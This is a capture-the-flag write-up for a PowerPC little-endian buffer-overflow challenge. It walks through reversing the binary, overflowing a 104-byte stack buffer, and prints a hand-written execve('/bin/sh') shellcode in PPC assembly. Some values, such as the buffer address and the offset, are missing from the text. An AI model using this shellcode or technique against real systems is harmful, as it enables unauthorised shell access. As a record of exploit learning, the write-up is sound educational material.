PPower enCryption (1150pt)
Description: nc stack.overflow.fail 9001
The challenge binary is a 64-bit PowerPC little-endian ELF. It appears to be some sort of echo service when we run it:
This is the UT encryption service. We take your strings and make them into other strings! Enter a string
After giving input:
This is the UT encryption service. We take your strings and make them into other strings! Enter a string aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 31 Here's your string: aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa c1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
So there seems to be a fixed length buffer and our input is being corrupted in some way.
Some simple reversing reveals that the program consists of the following steps:
- Read 1000 bytes into a global buffer (at address:
strlenon this buffer and XOR that many bytes with
- Copy 1000 bytes from the buffer to a stack buffer of size 104
- Print some stuff
So there is a clear buffer overflow possibility here with some slight modification to our input buffer. Luckly NX was not enabled so we should theoretically be able to overwrite the return address with the address of our global buffer and craft some shellcode.
Not knowing much about PPC stack frames, I brute forced several overflow offsets and found that the buffer overwrite the return address after
Initially, we tried adapting existing PPC shellcode instead of writing our own. However all of the shellcode online was created for big-endian systems and while it was possible to adapt it, we were running into strange issues. Eventually, I just caved and wrote my own shellcode.
In order to get a shell, we need to call
execve("/bin/sh", 0, 0). In PPC calling convention, the following registers need to be set:
Then we do a
sc instruction and get a shell.
Here was my final shellcode:
li 6, 16 ; r6 = 16 (for shift later) li 0, 11 ; r0 = 11 (syscall_execve) xor 3,3,3 ; r3 = 0 li 3, 0x100d ; load upper 16 bits of string address sld 3,3,6 ; shift to high bits addi 3, 3, 0x2b64 ; load lower 16 bits xor 4,4,4 ; r4 = 0 xor 5,5,5 ; r5 = 0 sc ; do the syscall .long 0x6e69622f ; "/bin/sh\x00" .long 0x68732f